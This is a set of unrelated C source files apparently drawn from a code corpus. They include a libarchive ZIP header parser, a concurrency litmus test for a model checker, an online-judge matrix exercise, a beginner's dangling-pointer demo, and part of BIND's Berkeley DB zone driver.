int /*<<< orphan*/ archive_string_sprintf (TYPE_1__*,char*,char,char,int /*<<< orphan*/ ) ;
size_t archive_strlen (struct archive_wstring*) ;
int /*<<< orphan*/ archive_wstrappend_wchar (struct archive_wstring*,int) ;
int /*<<< orphan*/ archive_wstrcat (struct archive_wstring*,int const*) ;
int /*<<< orphan*/ archive_wstrcpy (struct archive_wstring*,int const*) ;
int /*<<< orphan*/ archive_wstring_free (struct archive_wstring*) ;
int /*<<< orphan*/ compression_name (char) ;
int errno ;
scalar_t__ memcmp (char const*,char*,int) ;
int process_extra (struct archive_read*,struct archive_entry*,void const*,size_t,struct zip_entry*) ;
size_t strlen (char const*) ;
int /*<<< orphan*/ stub1 (int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ * wcschr (int const*,int) ;
size_t wcslen (int const*) ;
int /*<<< orphan*/ zip_time (char const*) ;
__attribute__((used)) static int
zip_read_local_file_header(struct archive_read *a, struct archive_entry *entry,
struct zip *zip)
{
const char *p;
const void *h;
const wchar_t *wp;
const char *cp;
size_t len, filename_length, extra_length;
struct archive_string_conv *sconv;
struct zip_entry *zip_entry = zip->entry;
struct zip_entry zip_entry_central_dir;
int ret = ARCHIVE_OK;
char version;
/* Save a copy of the original for consistency checks. */
zip_entry_central_dir = *zip_entry;
zip->decompress_init = 0;
zip->end_of_entry = 0;
zip->entry_uncompressed_bytes_read = 0;
zip->entry_compressed_bytes_read = 0;
zip->entry_crc32 = zip->crc32func(0, NULL, 0);
/* Setup default conversion. */
if (zip->sconv == NULL && !zip->init_default_conversion) {
zip->sconv_default =
archive_string_default_conversion_for_read(&(a->archive));
zip->init_default_conversion = 1;
}
if ((p = __archive_read_ahead(a, 30, NULL)) == NULL) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Truncated ZIP file header");
return (ARCHIVE_FATAL);
}
if (memcmp(p, "PK\003\004", 4) != 0) {
archive_set_error(&a->archive, -1, "Damaged Zip archive");
return ARCHIVE_FATAL;
}
version = p[4];
zip_entry->system = p[5];
zip_entry->zip_flags = archive_le16dec(p + 6);
if (zip_entry->zip_flags & (ZIP_ENCRYPTED | ZIP_STRONG_ENCRYPTED)) {
zip->has_encrypted_entries = 1;
archive_entry_set_is_data_encrypted(entry, 1);
if (zip_entry->zip_flags & ZIP_CENTRAL_DIRECTORY_ENCRYPTED &&
zip_entry->zip_flags & ZIP_ENCRYPTED &&
zip_entry->zip_flags & ZIP_STRONG_ENCRYPTED) {
archive_entry_set_is_metadata_encrypted(entry, 1);
return ARCHIVE_FATAL;
}
}
zip->init_decryption = (zip_entry->zip_flags & ZIP_ENCRYPTED);
zip_entry->compression = (char)archive_le16dec(p + 8);
zip_entry->mtime = zip_time(p + 10);
zip_entry->crc32 = archive_le32dec(p + 14);
if (zip_entry->zip_flags & ZIP_LENGTH_AT_END)
zip_entry->decdat = p[11];
else
zip_entry->decdat = p[17];
zip_entry->compressed_size = archive_le32dec(p + 18);
zip_entry->uncompressed_size = archive_le32dec(p + 22);
filename_length = archive_le16dec(p + 26);
extra_length = archive_le16dec(p + 28);
__archive_read_consume(a, 30);
/* Read the filename. */
if ((h = __archive_read_ahead(a, filename_length, NULL)) == NULL) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Truncated ZIP file header");
return (ARCHIVE_FATAL);
}
if (zip_entry->zip_flags & ZIP_UTF8_NAME) {
/* The filename is stored to be UTF-8. */
if (zip->sconv_utf8 == NULL) {
zip->sconv_utf8 =
archive_string_conversion_from_charset(
&a->archive, "UTF-8", 1);
if (zip->sconv_utf8 == NULL)
return (ARCHIVE_FATAL);
}
sconv = zip->sconv_utf8;
} else if (zip->sconv != NULL)
sconv = zip->sconv;
else
sconv = zip->sconv_default;
if (archive_entry_copy_pathname_l(entry,
h, filename_length, sconv) != 0) {
if (errno == ENOMEM) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate memory for Pathname");
return (ARCHIVE_FATAL);
}
archive_set_error(&a->archive,
ARCHIVE_ERRNO_FILE_FORMAT,
"Pathname cannot be converted "
"from %s to current locale.",
archive_string_conversion_charset_name(sconv));
ret = ARCHIVE_WARN;
}
__archive_read_consume(a, filename_length);
/* Read the extra data. */
if ((h = __archive_read_ahead(a, extra_length, NULL)) == NULL) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Truncated ZIP file header");
return (ARCHIVE_FATAL);
}
if (ARCHIVE_OK != process_extra(a, entry, h, extra_length,
zip_entry)) {
return ARCHIVE_FATAL;
}
__archive_read_consume(a, extra_length);
/* Work around a bug in Info-Zip: When reading from a pipe, it
* stats the pipe instead of synthesizing a file entry. */
if ((zip_entry->mode & AE_IFMT) == AE_IFIFO) {
zip_entry->mode &= ~ AE_IFMT;
zip_entry->mode |= AE_IFREG;
}
/* If the mode is totally empty, set some sane default. */
if (zip_entry->mode == 0) {
zip_entry->mode |= 0664;
}
/* Windows archivers sometimes use backslash as the directory
* separator. Normalize to slash. */
if (zip_entry->system == 0 &&
(wp = archive_entry_pathname_w(entry)) != NULL) {
if (wcschr(wp, L'/') == NULL && wcschr(wp, L'\\') != NULL) {
size_t i;
struct archive_wstring s;
archive_string_init(&s);
archive_wstrcpy(&s, wp);
for (i = 0; i < archive_strlen(&s); i++) {
if (s.s[i] == '\\')
s.s[i] = '/';
}
archive_entry_copy_pathname_w(entry, s.s);
archive_wstring_free(&s);
}
}
/* Make sure that entries with a trailing '/' are marked as directories
* even if the External File Attributes contains bogus values. If this
* is not a directory and there is no type, assume a regular file. */
if ((zip_entry->mode & AE_IFMT) != AE_IFDIR) {
int has_slash;
wp = archive_entry_pathname_w(entry);
if (wp != NULL) {
len = wcslen(wp);
has_slash = len > 0 && wp[len - 1] == L'/';
} else {
cp = archive_entry_pathname(entry);
len = (cp != NULL)?strlen(cp):0;
has_slash = len > 0 && cp[len - 1] == '/';
}
/* Correct file type as needed. */
if (has_slash) {
zip_entry->mode &= ~AE_IFMT;
zip_entry->mode |= AE_IFDIR;
zip_entry->mode |= 0111;
} else if ((zip_entry->mode & AE_IFMT) == 0) {
zip_entry->mode |= AE_IFREG;
}
}
/* Make sure directories end in '/' */
if ((zip_entry->mode & AE_IFMT) == AE_IFDIR) {
wp = archive_entry_pathname_w(entry);
if (wp != NULL) {
len = wcslen(wp);
if (len > 0 && wp[len - 1] != L'/') {
struct archive_wstring s;
archive_string_init(&s);
archive_wstrcat(&s, wp);
archive_wstrappend_wchar(&s, L'/');
archive_entry_copy_pathname_w(entry, s.s);
archive_wstring_free(&s);
}
} else {
cp = archive_entry_pathname(entry);
len = (cp != NULL)?strlen(cp):0;
if (len > 0 && cp[len - 1] != '/') {
struct archive_string s;
archive_string_init(&s);
archive_strcat(&s, cp);
archive_strappend_char(&s, '/');
archive_entry_set_pathname(entry, s.s);
archive_string_free(&s);
}
}
}
if (zip_entry->flags & LA_FROM_CENTRAL_DIRECTORY) {
/* If this came from the central dir, its size info
* is definitive, so ignore the length-at-end flag. */
zip_entry->zip_flags &= ~ZIP_LENGTH_AT_END;
/* If local header is missing a value, use the one from
the central directory. If both have it, warn about
mismatches. */
if (zip_entry->crc32 == 0) {
zip_entry->crc32 = zip_entry_central_dir.crc32;
} else if (!zip->ignore_crc32
&& zip_entry->crc32 != zip_entry_central_dir.crc32) {
archive_set_error(&a->archive,
ARCHIVE_ERRNO_FILE_FORMAT,
"Inconsistent CRC32 values");
ret = ARCHIVE_WARN;
}
if (zip_entry->compressed_size == 0) {
zip_entry->compressed_size
= zip_entry_central_dir.compressed_size;
} else if (zip_entry->compressed_size
!= zip_entry_central_dir.compressed_size) {
archive_set_error(&a->archive,
ARCHIVE_ERRNO_FILE_FORMAT,
"Inconsistent compressed size: "
"%jd in central directory, %jd in local header",
(intmax_t)zip_entry_central_dir.compressed_size,
(intmax_t)zip_entry->compressed_size);
ret = ARCHIVE_WARN;
}
if (zip_entry->uncompressed_size == 0) {
zip_entry->uncompressed_size
= zip_entry_central_dir.uncompressed_size;
} else if (zip_entry->uncompressed_size
!= zip_entry_central_dir.uncompressed_size) {
archive_set_error(&a->archive,
ARCHIVE_ERRNO_FILE_FORMAT,
"Inconsistent uncompressed size: "
"%jd in central directory, %jd in local header",
(intmax_t)zip_entry_central_dir.uncompressed_size,
(intmax_t)zip_entry->uncompressed_size);
ret = ARCHIVE_WARN;
}
}
/* Populate some additional entry fields: */
archive_entry_set_mode(entry, zip_entry->mode);
archive_entry_set_uid(entry, zip_entry->uid);
archive_entry_set_gid(entry, zip_entry->gid);
archive_entry_set_mtime(entry, zip_entry->mtime, 0);
archive_entry_set_ctime(entry, zip_entry->ctime, 0);
archive_entry_set_atime(entry, zip_entry->atime, 0);
if ((zip->entry->mode & AE_IFMT) == AE_IFLNK) {
size_t linkname_length;
if (zip_entry->compressed_size > 64 * 1024) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Zip file with oversized link entry");
return ARCHIVE_FATAL;
}
linkname_length = (size_t)zip_entry->compressed_size;
archive_entry_set_size(entry, 0);
p = __archive_read_ahead(a, linkname_length, NULL);
if (p == NULL) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Truncated Zip file");
return ARCHIVE_FATAL;
}
sconv = zip->sconv;
if (sconv == NULL && (zip->entry->zip_flags & ZIP_UTF8_NAME))
sconv = zip->sconv_utf8;
if (sconv == NULL)
sconv = zip->sconv_default;
if (archive_entry_copy_symlink_l(entry, p, linkname_length,
sconv) != 0) {
if (errno != ENOMEM && sconv == zip->sconv_utf8 &&
(zip->entry->zip_flags & ZIP_UTF8_NAME))
archive_entry_copy_symlink_l(entry, p,
linkname_length, NULL);
if (errno == ENOMEM) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate memory for Symlink");
return (ARCHIVE_FATAL);
}
/*
* Since there is no character-set regulation for
* symlink name, do not report the conversion error
* in an automatic conversion.
*/
if (sconv != zip->sconv_utf8 ||
(zip->entry->zip_flags & ZIP_UTF8_NAME) == 0) {
archive_set_error(&a->archive,
ARCHIVE_ERRNO_FILE_FORMAT,
"Symlink cannot be converted "
"from %s to current locale.",
archive_string_conversion_charset_name(
sconv));
ret = ARCHIVE_WARN;
}
}
zip_entry->uncompressed_size = zip_entry->compressed_size = 0;
if (__archive_read_consume(a, linkname_length) < 0) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Read error skipping symlink target name");
return ARCHIVE_FATAL;
}
} else if (0 == (zip_entry->zip_flags & ZIP_LENGTH_AT_END)
|| zip_entry->uncompressed_size > 0) {
/* Set the size only if it's meaningful. */
archive_entry_set_size(entry, zip_entry->uncompressed_size);
}
zip->entry_bytes_remaining = zip_entry->compressed_size;
/* If there's no body, force read_data() to return EOF immediately. */
if (0 == (zip_entry->zip_flags & ZIP_LENGTH_AT_END)
&& zip->entry_bytes_remaining < 1)
zip->end_of_entry = 1;
/* Set up a more descriptive format name. */
archive_string_empty(&zip->format_name);
archive_string_sprintf(&zip->format_name, "ZIP %d.%d (%s)",
version / 10, version % 10,
compression_name(zip->entry->compression));
a->archive.archive_format_name = zip->format_name.s;
return (ret);
}
|
the_stack_data/62391.c
|
void fence() { asm("sync"); }
void lwfence() { asm("lwsync"); }
void isync() { asm("isync"); }
int __unbuffered_cnt=0;
int __unbuffered_p0_EAX=0;
int __unbuffered_p1_EAX=0;
int __unbuffered_p3_EAX=0;
int __unbuffered_p3_EBX=0;
int a=0;
int b=0;
int x=0;
int y=0;
int z=0;
void * P0(void * arg) {
b = 1;
__unbuffered_p0_EAX = x;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void * P1(void * arg) {
x = 1;
__unbuffered_p1_EAX = y;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void * P2(void * arg) {
y = 1;
z = 1;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void * P3(void * arg) {
z = 2;
a = 1;
__unbuffered_p3_EAX = a;
__unbuffered_p3_EBX = b;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
int main() {
__CPROVER_ASYNC_0: P0(0);
__CPROVER_ASYNC_1: P1(0);
__CPROVER_ASYNC_2: P2(0);
__CPROVER_ASYNC_3: P3(0);
__CPROVER_assume(__unbuffered_cnt==4);
fence();
// EXPECT:exists
__CPROVER_assert(!(z==2 && __unbuffered_p0_EAX==0 && __unbuffered_p1_EAX==0 && __unbuffered_p3_EAX==1 && __unbuffered_p3_EBX==0), "Program proven to be relaxed for X86, model checker says YES.");
return 0;
}
|
the_stack_data/104827056.c
|
/**
* URL - https://www.urionlinejudge.com.br/judge/pt/problems/view/1182
*
* Enunciado - Neste problema você deve ler um número que indica uma coluna de uma matriz na qual
* uma operação deve ser realizada, um caractere maiúsculo, indicando a operação que
* será realizada, e todos os elementos de uma matriz M[12][12]. Em seguida, calcule
* e mostre a soma ou a média dos elementos que estão na área verde da matriz, conforme
* for o caso. A imagem abaixo ilustra o caso da entrada do valor 5 para a coluna da matriz,
* demonstrando os elementos que deverão ser considerados na operação.
*
* Entrada - A primeira linha de entrada contem um número C (0 ≤ C ≤ 11) indicando a coluna
* que será considerada para operação. A segunda linha de entrada contém um único
* caractere Maiúsculo T ('S' ou 'M'), indicando a operação (Soma ou Média) que
* deverá ser realizada com os elementos da matriz. Seguem os 144 valores de ponto
* flutuante que compõem a matriz.
*
* Saída - Imprima o resultado solicitado (a soma ou média), com 1 casa após o ponto decimal.
*/
#include <stdio.h>
// Versão de teste para VScode
int main()
{
int C = 4;
char T = 'M';
double matriz[12][12], somaDaColuna = 0;
// Preenche a matriz
for (int i = 0; i < 144; i++)
{
matriz[0][i] = i;
}
printf("Matriz:\n");
for (int linha = 0; linha < 12; linha++)
{
for (int coluna = 0; coluna < 12; coluna++)
{
printf("\t%.2lf", matriz[linha][coluna]);
}
printf("\n");
}
printf("\nColuna %d\n[ ", C);
for (int j = 0; j < 12; j++)
{
printf("%.2lf ", matriz[j][C]);
somaDaColuna += matriz[j][C];
}
printf("]\n");
if (T == 'S')
{
printf("\nSoma da coluna: %.1lf\n", somaDaColuna);
}
else
{
printf("\nMedia da coluna: %.1lf\n", somaDaColuna / 12);
}
return 0;
}
// Versão submetida ao URI
int mainURI()
{
int C;
char T;
double matriz[12][12], somaDaColuna = 0;
scanf("%d\n", &C);
scanf("%c", &T);
for (int i = 0; i < 144; i++)
{
scanf("%lf\n", &matriz[0][i]);
}
for (int i = 0; i < 12; i++)
{
somaDaColuna += matriz[i][C];
}
if (T == 'S')
{
printf("%.1lf\n", somaDaColuna);
}
else
{
printf("%.1lf\n", somaDaColuna / 12);
}
return 0;
}
|
the_stack_data/3714.c
|
#include <stdio.h>
#include <stdlib.h>
//Function prototype
int *fun();
int main() {
//Dangling Pointer is the deallocation of memory distraction of the objects
// OR
//Dangling pointer points to a freeed memory location
//Malloc returns a void pointer so we need to type cast to tell the compiler to allocate the integer pointer size
int *ptr = (int *) malloc(sizeof(int));
*ptr = 10;
printf("%d \n", *ptr);
free(ptr);
//The dangling pointer cames in player when we free the memory to prove this we can derefference the pointer and we will get a gabage value (Hanging pointer)
printf("%d \n", ptr);
//To avoid the dangling pointer we asign the NULL to the pointer variable and this will make the pointer to have the gabage value
ptr = NULL;
//
if(ptr == NULL) {
printf("We can't derreference the pointer \n");
} else {
printf("We can write the logic \n");
}
//Dangling pointer also takes place in the scope concept
int *ptr1 = fun();
printf("%d\n", *ptr1);
}
int *fun() {
//This is a dangling pointer where by we return an address and when we get out of the scope the variable a will already vanish so it will return a gabage value
//To avoid this we need to make the variable static
//The static variable they are visible globale
static int a = 10;
return &a;
}
|
the_stack_data/193892397.c
|
/*
* Copyright (C) 2002 Stichting NLnet, Netherlands, [email protected].
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the
* above copyright notice and this permission notice appear in all
* copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
* DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
* STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
* CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
* OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
* OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
* USE OR PERFORMANCE OF THIS SOFTWARE.
*
* The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
* conceived and contributed by Rob Butler.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the
* above copyright notice and this permission notice appear in all
* copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
* DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
* ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
* CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
* OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
* OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
* USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* Copyright (C) 1999-2001 Internet Software Consortium.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM
* DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
* INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT,
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
* FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
* NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
* WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifdef DLZ_BDB
#include <config.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dns/log.h>
#include <dns/sdlz.h>
#include <dns/result.h>
#include <isc/mem.h>
#include <isc/print.h>
#include <isc/result.h>
#include <isc/util.h>
#include <named/globals.h>
#include <dlz/dlz_bdbhpt_driver.h>
#include <db.h>
static dns_sdlzimplementation_t *dlz_bdbhpt = NULL;
/* should the bdb driver use threads. */
#ifdef ISC_PLATFORM_USETHREADS
#define bdbhpt_threads DB_THREAD
#else
#define bdbhpt_threads 0
#endif
/* bdbhpt database names */
#define dlz_data "dns_data"
#define dlz_zone "dns_zone"
#define dlz_xfr "dns_xfr"
#define dlz_client "dns_client"
/* This structure contains all the Berkeley DB handles
* for this instance of the bdbhpt driver.
*/
typedef struct bdbhpt_instance {
DB_ENV *dbenv; /*%< bdbhpt environment */
DB *data; /*%< dns_data database handle */
DB *zone; /*%< zone database handle */
DB *xfr; /*%< zone xfr database handle */
DB *client; /*%< client database handle */
isc_mem_t *mctx; /*%< memory context */
} bdbhpt_instance_t;
typedef struct bdbhpt_parsed_data {
char *host;
char *type;
int ttl;
char *data;
} bdbhpt_parsed_data_t;
/* forward reference */
static isc_result_t
bdbhpt_findzone(void *driverarg, void *dbdata, const char *name);
/*%
* Reverses a string in place.
*/
static char *bdbhpt_strrev(char *str)
{
char *p1, *p2;
if (! str || ! *str)
return str;
for (p1 = str, p2 = str + strlen(str) - 1; p2 > p1; ++p1, --p2)
{
*p1 ^= *p2;
*p2 ^= *p1;
*p1 ^= *p2;
}
return str;
}
/*%
* Parses the DBT from the Berkeley DB into a parsed_data record
* The parsed_data record should be allocated before and passed into the
* bdbhpt_parse_data function. The char (type & data) fields should not
* be "free"d as that memory is part of the DBT data field. It will be
* "free"d when the DBT is freed.
*/
static isc_result_t
bdbhpt_parse_data(char *in, bdbhpt_parsed_data_t *pd) {
char *endp, *ttlStr;
char *tmp = in;
char *lastchar = (char *) &tmp[strlen(tmp)];
/*%
* String should be formated as:
* replication_id
* (a space)
* host_name
* (a space)
* ttl
* (a space)
* type
* (a space)
* remaining data
*
* examples:
*
* 9191 host 10 A 127.0.0.1
* server1_212 host 10 A 127.0.0.2
* {xxxx-xxxx-xxxx-xxxx-xxxx} host 10 MX 20 mail.example.com
*/
/*
* we don't need the replication id, so don't
* bother saving a pointer to it.
*/
/* find space after replication id */
tmp = strchr(tmp, ' ');
/* verify we found a space */
if (tmp == NULL)
return ISC_R_FAILURE;
/* make sure it is safe to increment pointer */
if (++tmp > lastchar)
return ISC_R_FAILURE;
/* save pointer to host */
pd->host = tmp;
/* find space after host and change it to a '\0' */
tmp = strchr(tmp, ' ');
/* verify we found a space */
if (tmp == NULL)
return ISC_R_FAILURE;
/* change the space to a null (string terminator) */
tmp[0] = '\0';
/* make sure it is safe to increment pointer */
if (++tmp > lastchar)
return ISC_R_FAILURE;
/* save pointer to ttl string */
ttlStr = tmp;
/* find space after ttl and change it to a '\0' */
tmp = strchr(tmp, ' ');
/* verify we found a space */
if (tmp == NULL)
return ISC_R_FAILURE;
/* change the space to a null (string terminator) */
tmp[0] = '\0';
/* make sure it is safe to increment pointer */
if (++tmp > lastchar)
return ISC_R_FAILURE;
/* save pointer to dns type */
pd->type = tmp;
/* find space after type and change it to a '\0' */
tmp = strchr(tmp, ' ');
/* verify we found a space */
if (tmp == NULL)
return ISC_R_FAILURE;
/* change the space to a null (string terminator) */
tmp[0] = '\0';
/* make sure it is safe to increment pointer */
if (++tmp > lastchar)
return ISC_R_FAILURE;
/* save pointer to remainder of DNS data */
pd->data = tmp;
/* convert ttl string to integer */
pd->ttl = strtol(ttlStr, &endp, 10);
if (*endp != '\0' || pd->ttl < 0) {
isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
"bdbhpt driver ttl must be a postive number");
return ISC_R_FAILURE;
}
/* if we get this far everything should have worked. */
return ISC_R_SUCCESS;
}
/*
* DLZ methods
*/
static isc_result_t
bdbhpt_allowzonexfr(void *driverarg, void *dbdata, const char *name,
const char *client)
{
isc_result_t result;
bdbhpt_instance_t *db = (bdbhpt_instance_t *) dbdata;
DBT key, data;
/* check to see if we are authoritative for the zone first. */
result = bdbhpt_findzone(driverarg, dbdata, name);
if (result != ISC_R_SUCCESS)
return (ISC_R_NOTFOUND);
memset(&key, 0, sizeof(DBT));
key.flags = DB_DBT_MALLOC;
key.data = strdup(name);
if (key.data == NULL) {
result = ISC_R_NOMEMORY;
goto xfr_cleanup;
}
key.size = strlen(key.data);
memset(&data, 0, sizeof(DBT));
data.flags = DB_DBT_MALLOC;
data.data = strdup(client);
if (data.data == NULL) {
result = ISC_R_NOMEMORY;
goto xfr_cleanup;
}
data.size = strlen(data.data);
switch(db->client->get(db->client, NULL, &key, &data, DB_GET_BOTH)) {
case DB_NOTFOUND:
result = ISC_R_NOTFOUND;
break;
case 0:
result = ISC_R_SUCCESS;
break;
default:
result = ISC_R_FAILURE;
}
xfr_cleanup:
/* free any memory duplicate string in the key field */
if (key.data != NULL)
free(key.data);
/* free any memory allocated to the data field. */
if (data.data != NULL)
free(data.data);
return result;
}
/*%
* BDB does not allow a secondary index on a database that allows
* duplicates. We have a few options:
*
* 1) kill speed by having lookup method use a secondary db which
* is associated to the primary DB with the DNS data. Then have
* another secondary db for zone transfer which also points to
* the dns_data primary. NO - The point of this driver is
* lookup performance.
*
* 2) Blow up database size by storing DNS data twice. Once for
* the lookup (dns_data) database, and a second time for the zone
* transfer (dns_xfr) database. NO - That would probably require
* a larger cache to provide good performance. Also, that would
* make the DB larger on disk potentially slowing it as well.
*
* 3) Loop through the dns_xfr database with a cursor to get
* all the different hosts in a zone. Then use the zone & host
* together to lookup the data in the dns_data database. YES -
* This may slow down zone xfr's a little, but that's ok they
* don't happen as often and don't need to be as fast. We can
* also use this table when deleting a zone (The BDB driver
* is read only - the delete would be used during replication
* updates by a separate process).
*/
static isc_result_t
bdbhpt_allnodes(const char *zone, void *driverarg, void *dbdata,
dns_sdlzallnodes_t *allnodes)
{
isc_result_t result = ISC_R_NOTFOUND;
bdbhpt_instance_t *db = (bdbhpt_instance_t *) dbdata;
DBC *xfr_cursor = NULL;
DBC *dns_cursor = NULL;
DBT xfr_key, xfr_data, dns_key, dns_data;
int xfr_flags;
int dns_flags;
int bdbhptres;
bdbhpt_parsed_data_t pd;
char *tmp = NULL, *tmp_zone, *tmp_zone_host = NULL;
UNUSED(driverarg);
memset(&xfr_key, 0, sizeof(DBT));
memset(&xfr_data, 0, sizeof(DBT));
memset(&dns_key, 0, sizeof(DBT));
memset(&dns_data, 0, sizeof(DBT));
xfr_key.data = tmp_zone = strdup(zone);
if (xfr_key.data == NULL)
return (ISC_R_NOMEMORY);
xfr_key.size = strlen(xfr_key.data);
/* get a cursor to loop through dns_xfr table */
if (db->xfr->cursor(db->xfr, NULL, &xfr_cursor, 0) != 0) {
result = ISC_R_FAILURE;
goto allnodes_cleanup;
}
/* get a cursor to loop through dns_data table */
if (db->data->cursor(db->data, NULL, &dns_cursor, 0) != 0) {
result = ISC_R_FAILURE;
goto allnodes_cleanup;
}
xfr_flags = DB_SET;
/* loop through xfr table for specified zone. */
while ((bdbhptres = xfr_cursor->c_get(xfr_cursor, &xfr_key, &xfr_data,
xfr_flags)) == 0) {
xfr_flags = DB_NEXT_DUP;
/* +1 to allow for space between zone and host names */
dns_key.size = xfr_data.size + xfr_key.size + 1;
/* +1 to allow for null term at end of string. */
dns_key.data = tmp_zone_host = malloc(dns_key.size + 1);
if (dns_key.data == NULL)
goto allnodes_cleanup;
/*
* construct search key for dns_data.
* zone_name(a space)host_name
*/
strcpy(dns_key.data, zone);
strcat(dns_key.data, " ");
strncat(dns_key.data, xfr_data.data, xfr_data.size);
dns_flags = DB_SET;
while ((bdbhptres = dns_cursor->c_get(dns_cursor, &dns_key,
&dns_data,
dns_flags)) == 0) {
dns_flags = DB_NEXT_DUP;
/* +1 to allow for null term at end of string. */
tmp = realloc(tmp, dns_data.size + 1);
if (tmp == NULL)
goto allnodes_cleanup;
/* copy data to tmp string, and append null term. */
strncpy(tmp, dns_data.data, dns_data.size);
tmp[dns_data.size] = '\0';
/* split string into dns data parts. */
if (bdbhpt_parse_data(tmp, &pd) != ISC_R_SUCCESS)
goto allnodes_cleanup;
result = dns_sdlz_putnamedrr(allnodes, pd.host,
pd.type, pd.ttl, pd.data);
if (result != ISC_R_SUCCESS)
goto allnodes_cleanup;
} /* end inner while loop */
/* clean up memory */
if (tmp_zone_host != NULL) {
free(tmp_zone_host);
tmp_zone_host = NULL;
}
} /* end outer while loop */
allnodes_cleanup:
/* free any memory */
if (tmp != NULL)
free(tmp);
if (tmp_zone_host != NULL)
free(tmp_zone_host);
if (tmp_zone != NULL)
free(tmp_zone);
/* get rid of cursors */
if (xfr_cursor != NULL)
xfr_cursor->c_close(xfr_cursor);
if (dns_cursor != NULL)
dns_cursor->c_close(dns_cursor);
return result;
}
/*%
* Performs bdbhpt cleanup.
* Used by bdbhpt_create if there is an error starting up.
* Used by bdbhpt_destroy when the driver is shutting down.
*/
static void
bdbhpt_cleanup(bdbhpt_instance_t *db) {
isc_mem_t *mctx;
/* close databases */
if (db->data != NULL)
db->data->close(db->data, 0);
if (db->xfr != NULL)
db->xfr->close(db->xfr, 0);
if (db->zone != NULL)
db->zone->close(db->zone, 0);
if (db->client != NULL)
db->client->close(db->client, 0);
/* close environment */
if (db->dbenv != NULL)
db->dbenv->close(db->dbenv, 0);
/* cleanup memory */
if (db->mctx != NULL) {
/* save mctx for later */
mctx = db->mctx;
/* return, and detach the memory */
isc_mem_put(mctx, db, sizeof(bdbhpt_instance_t));
isc_mem_detach(&mctx);
}
}
static isc_result_t
bdbhpt_findzone(void *driverarg, void *dbdata, const char *name)
{
isc_result_t result;
bdbhpt_instance_t *db = (bdbhpt_instance_t *) dbdata;
DBT key, data;
UNUSED(driverarg);
memset(&key, 0, sizeof(DBT));
memset(&data, 0, sizeof(DBT));
data.flags = DB_DBT_MALLOC;
key.data = strdup(name);
if (key.data == NULL)
return (ISC_R_NOMEMORY);
/*
* reverse string to take advantage of BDB locality of reference
* if we need futher lookups because the zone doesn't match the
* first time.
*/
key.data = bdbhpt_strrev(key.data);
key.size = strlen(key.data);
switch(db->zone->get(db->zone, NULL, &key, &data, 0)) {
case DB_NOTFOUND:
result = ISC_R_NOTFOUND;
break;
case 0:
result = ISC_R_SUCCESS;
break;
default:
result = ISC_R_FAILURE;
}
/* free any memory duplicate string in the key field */
if (key.data != NULL)
free(key.data);
/* free any memory allocated to the data field. */
if (data.data != NULL)
free(data.data);
return result;
}
static isc_result_t
bdbhpt_lookup(const char *zone, const char *name, void *driverarg,
void *dbdata, dns_sdlzlookup_t *lookup)
{
isc_result_t result = ISC_R_NOTFOUND;
bdbhpt_instance_t *db = (bdbhpt_instance_t *) dbdata;
DBC *data_cursor = NULL;
DBT key, data;
int bdbhptres;
int flags;
bdbhpt_parsed_data_t pd;
char *tmp = NULL;
char *keyStr = NULL;
UNUSED(driverarg);
memset(&key, 0, sizeof(DBT));
memset(&data, 0, sizeof(DBT));
key.size = strlen(zone) + strlen(name) + 1;
